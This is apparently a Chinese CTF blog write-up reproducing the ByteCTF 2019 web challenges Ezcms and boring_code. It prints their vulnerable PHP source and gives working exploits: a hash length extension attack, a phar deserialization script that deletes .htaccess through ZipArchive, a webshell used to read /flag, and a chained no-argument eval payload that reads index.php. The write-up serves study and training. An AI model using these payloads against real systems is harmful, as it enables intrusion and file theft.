Posts Bytectf 2019 Ezcms&&boring_code 复现
Post
Cancel

Bytectf 2019 Ezcms&&boring_code 复现

目前只找到这三道题的环境,babyblog对我来说有点困难了,先将就看这两道吧

Ezcms

这个题有源码泄露,网站根目录下存在www.zip,先来看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// index.php
<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;

    if (login()){
        echo '<script>location.href="upload.php";</script>';
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// upload.php
<?php
include ("config.php");
if (isset($_FILES['file'])){
    $file_tmp = $_FILES['file']['tmp_name'];
    $file_name = $_FILES['file']['name'];
    $file_size = $_FILES['file']['size'];
    $file_error = $_FILES['file']['error'];
    if ($file_error > 0){
        die("something error");
    }
    $admin = new Admin($file_name, $file_tmp, $file_size);
    $admin->upload_file();
}else{
    $sandbox = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
    if (!file_exists($sandbox)){
        mkdir($sandbox, 0777, true);
    }
    if (!is_file($sandbox.'/.htaccess')){
        file_put_contents($sandbox.'/.htaccess', 'lolololol, i control all');
    }
    echo "view my file : "."<br>";
    $path = "./".$sandbox;
    $dir = opendir($path);
    while (($filename = readdir($dir)) !== false){
        if ($filename != '.' && $filename != '..'){
            $files[] = $filename;
        }
    }
    foreach ($files as $k=>$v){
        $filepath = $path.'/'.$v;
        echo <<<EOF
        <div style="width: 1000px; height: 30px;">
        <Ariel>filename: {$v}</Ariel>
        <a href="view.php?filename={$v}&filepath={$filepath}">view detail</a>
</div>
EOF;
    }
    closedir($dir);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// config.php
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

看一下这几个逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// index.php
if ($password === "admin"){
        die("u r not admin !!!");
    }

// config.php

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

很明显的hash扩展长度攻击,利用hashpump生成payload

Alt text

然后用对应的password和cookie就可以上传文件了。因为过滤了文件内容中assert()等函数,我一开始思路是传上去特殊的一句话来getshell,但是发现上传后执行是500

看到目录里还有一个.htaccess,猜测应该是apache配置出了问题,想看看能不能传到别的目录,但是审计几次后发现应该不行

这个题有一点是利用view.php可以得到flag在/flag

之后和师傅讨论了一下,准备利用phar反序列化来做,但是下来自己思路就有点受阻了

这里参考下W&M的师傅们的思路,上传phar去删除.htaccess,这样就可以执行我们的一句话了

首先生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)

    {
        $this->filepath = $filepath;

        $this->filename = $filename;
    }

}

class Profile{

    public $username;
    public $password;
    public $admin;

}

$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);

$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

从之前的源码我们可以看到这样一句:

1
2
3
4
5
6
// config.php
// class Profile
function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }

此处调用了admin的open()方法,而且admin是我们可控的,因此我们找找看php中拥有open()方法的内置类有没有可利用的

看过手册后发现ZipArchive类的open方法可以利用,我们看一下定义:

Alt text

对应上面生成phar文件的exp来看:

1
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;

再看一下ZipArchive::OVERWRITE的定义:

Alt text

这个选项我在本地测试对一个txt文件操作时会删除该文件(Linux下可以,win下不行)

因此该exp就是要反序列化后利用ZipArchive类来删除.htaccess文件

先上传一个能够绕过检测的一句话,然后再上传phar文件

由于在view.php中读取文件时把phar开头也给过滤掉了,因此我们使用php伪协议filter来读

payload:view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/6683eb5bfa1174bd139499256f60b7ab/dd7ec931179c4dcb6a8ffb8b8786d20b.txt

然后再访问之前上传的一句话,传入a=cat /flag即可

Alt text

boring_code

打开题目界面是一张图片,右键查看源码发现提示注释:

<!-- flag 就在这个文件里面 -->
<!-- /code -->

也就是说flag就在index.php中,我们再访问/code,发现源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

我们看到问题肯定就出在eval($code);这一句,然后我们再来看$code经过怎样的逻辑处理

首先用户传入的url经过is_valid_url()函数的检测,然后由parse_url()处理后赋值给$r,下来验证$r['host']的值是不是以baidu.com结尾,如果是的话就把file_get_contents($url)的值赋值给$code

当时我在本地测试了一下经过parse_url()处理的结果,发现从代码层这里应该是无法绕过的,而且本来可以利用的data协议也被过滤掉了

后来才知道很多师傅竟然是买的域名来打的。。大气!!

因为flag是在../index.php中,所以肯定要想办法读到index.php,然后看这两行代码:

1
2
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {

首先看这一句正则,我们本地测试一下

1
2
3
4
5
<?php
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $_GET['data'])) {
	echo 'success';
}
?>

Alt text

只有xxx(xx());这种形式的可以(注意最里面那个括号里不能有内容),接下来的正则过滤了很多函数,看来我们要寻找函数组合起来读到../index.php

首先要先构造出..,那么我们可以先找到一个能返回.的函数,然后利用scandir()来返回一个数组,通常这个数组的第二个元素会是..,因此next(scandir(.))即可返回取出..。然后再用chdir()来切换目录

php的localeconv()函数可以返回一个数组,第一个元素就是.,因此我们考虑使用current(localeconv()),但是正则过滤了nt,那么可以用current()的别名pos()

暂时推出的切换到上级目录的payload是:chdir(next(scandir(pos(localeconv())))),但是chdir()的返回值是布尔值,我们可以用time()函数来接收布尔值,不会影响返回时间戳。(注意如果php执行到chdir(..)时,我们就已经修改当前目录为上一级了,因此在之后读取.就是index.php所在目录了)

然后我们可以利用localtime(time())来返回一个当前时间的数组,该数组的第一个元素是当前时间的秒数

我们要知道chr(46)的返回值是.,因此利用chr(localtime(time())),若当前时间为每分46秒时,即可返回.

之后我们再利用scandir()读取当前目录,应该只有一个index.php,因此再用end()来获取index.php,最后使用readfile(),并echo()出返回值

最终payload:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))))

然后就需要在买的域名下放这样一个内容的文件:

1
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

我在本地测试就不买域名了(其实是买不起),于是我修改了一下docker环境的/etc/hosts,将域名www.testbaidu.com解析到我的本机ip上,然后在本机phpstudy中放有内容是payload的1.txt

Alt text

然后拿burp去爆破,当前时间秒数为46时就会有flag

Alt text

This post is licensed under CC BY 4.0 by the author.